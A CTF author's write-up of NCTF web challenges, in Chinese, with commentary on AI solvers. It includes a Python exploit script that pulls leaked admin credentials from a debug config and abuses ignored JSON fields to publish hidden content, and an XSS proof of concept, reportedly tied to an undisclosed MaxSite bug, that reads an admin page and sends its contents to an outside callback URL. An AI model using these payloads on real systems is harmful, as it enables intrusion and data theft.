NCTF Web

在此比赛之前红明谷的AI大战已经给了我点教训,所以我这次全给的黑盒,但是又怕人容易做的难受,所以又给了点提示,总之就是平衡了一下

结果就是审了几天wp,吃了几百页的AI写的史,受不了了

N-Horse

参考了一下 MoeCTF 2025 - 22章

原题就是一个没有过滤的内存马,因为源码很容易看出来,这次我给了个黑盒,然后就看到全是用盲注的,还看到有卡了AI一个小时的,何意味…

N-RustPICA

自认为前端做的还不错的一个番剧网站,预期是出白盒的,后面改成黑盒,就在各个地方放了大坨的提示

首先能看到注册这边有一个:

公开注册已关闭,管理员账号仅用于内部联调,静态资源目录里仍留有联调遗留文件(5毛删除)

然后扫目录进去可以看到一个 /debug 和 /asserts

再去对这两个目录进行扫描能发现 /debug/config.json,访问就可以得到账号密码

进去之后就好办了,因为放的是黑盒所以我把一些逻辑放在了旧流程说明中,打开就可以看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#[serde(untagged)]
pub enum TransitionRequest {
QuickPublish(QuickPublishRequest),
Moderated(ModeratedTransitionRequest),
}

pub struct QuickPublishRequest {
pub action: String,
}

pub struct ModeratedTransitionRequest {
pub action: String,
pub target_status: AnimeStatus,
pub reviewer_token: String,
pub featured: bool,
}

{
"action": "publish",
"targetStatus": "published",
"reviewerToken": "FEATURE-REVIEW-2025",
"featured": false,
"approvalTicket": "PENDING-APPROVAL"
}

对 JSON 这类格式,Serde 默认忽略未知字段,所以提交完整五字段 JSON 时,approvalTicket 会被忽略

(突然发现我好像直接把payload给出来了)

1
2
3
4
5
6
7
8
9
10
11
POST /api/admin/anime/anime-0007/transition
Cookie: nctf_admin_session=...
Content-Type: application/json

{
"action": "publish",
"targetStatus": "published",
"reviewerToken": "FEATURE-REVIEW-2025",
"featured": false,
"approvalTicket": "denied"
}

然后就可以在首页看到对应的内部番剧 (早知道我真放点内部番剧进去了)

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import argparse
import base64
import sys

import requests


def decode_password(parts):
return "".join(base64.b64decode(part).decode() for part in parts)


def must_json(response):
response.raise_for_status()
return response.json()


def main():
parser = argparse.ArgumentParser()
parser.add_argument("--base", default="http://127.0.0.1:3000")
args = parser.parse_args()

base = args.base.rstrip("/")
session = requests.Session()

config = must_json(session.get(f"{base}/debug/config.json"))
username = config["adminUser"]
password = decode_password(config["passwordParts"])
#print(f"creds: {username} / {password}")

login_response = session.post(
f"{base}/api/auth/login",
json={"username": username, "password": password},
)
must_json(login_response)
#print("login")

admin_list = must_json(session.get(f"{base}/api/admin/anime"))["data"]
hidden = next(
(item for item in admin_list if item["id"] == "anime-0007"),
None,
)
if hidden is None:
hidden = next(
(item for item in admin_list if item.get("status") == "internal"),
None,
)
if hidden is None:
raise RuntimeError("hidden anime not found")

hidden_id = hidden["id"]
#print(f"hidden target: {hidden_id}")

template = must_json(session.get(f"{base}/api/admin/templates/review-flow"))["data"]
payload = dict(template["payload"])
payload["approvalTicket"] = "denied"
#print(f"review payload: {payload}")

transition = session.post(
f"{base}/api/admin/anime/{hidden_id}/transition",
json=payload,
)
#print(f"transition status: {transition.status_code}")
#print(f"transition body: {transition.text}")

detail = must_json(session.get(f"{base}/api/anime/{hidden_id}"))["data"]
print(f"flag: {detail['description']}")


if __name__ == "__main__":
try:
main()
except Exception as error:
print(f"{error}")
sys.exit(1)

N-MinSite

对应MaxSite109.2,暂不公开,等到回我邮件的时候再公开,虽然依旧被AI秒杀

PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def build_payload(exfil_url: str) -> str:
separator = "&" if "?" in exfil_url else "?"
send_url = f"{exfil_url}{separator}src=bot"

return f"""<section>
<h2>Editorial Preview</h2>
<p>Queued for homepage rendering.</p>
</section>
<script>
(async () => {{
const callback = {send_url!r};
const send = (kv) => {{
const img = new Image();
img.referrerPolicy = 'no-referrer';
img.src = callback + '&' + kv;
}};

const response = await fetch('/admin', {{ credentials: 'include' }});
const text = await response.text();
const match = text.match(/id=["']gzctf-flag-value["'][^>]*>([^<]+)/i);
const flag = match ? match[1].trim() : 'flag_not_found';
send('flag=' + encodeURIComponent(flag));
}})().catch((error) => {{
const reason = error && error.message ? error.message : 'bot_fetch_failed';
(new Image()).src = {send_url!r} + '&error=' + encodeURIComponent(reason);
}});
</script>
"""

然后等待bot回显即可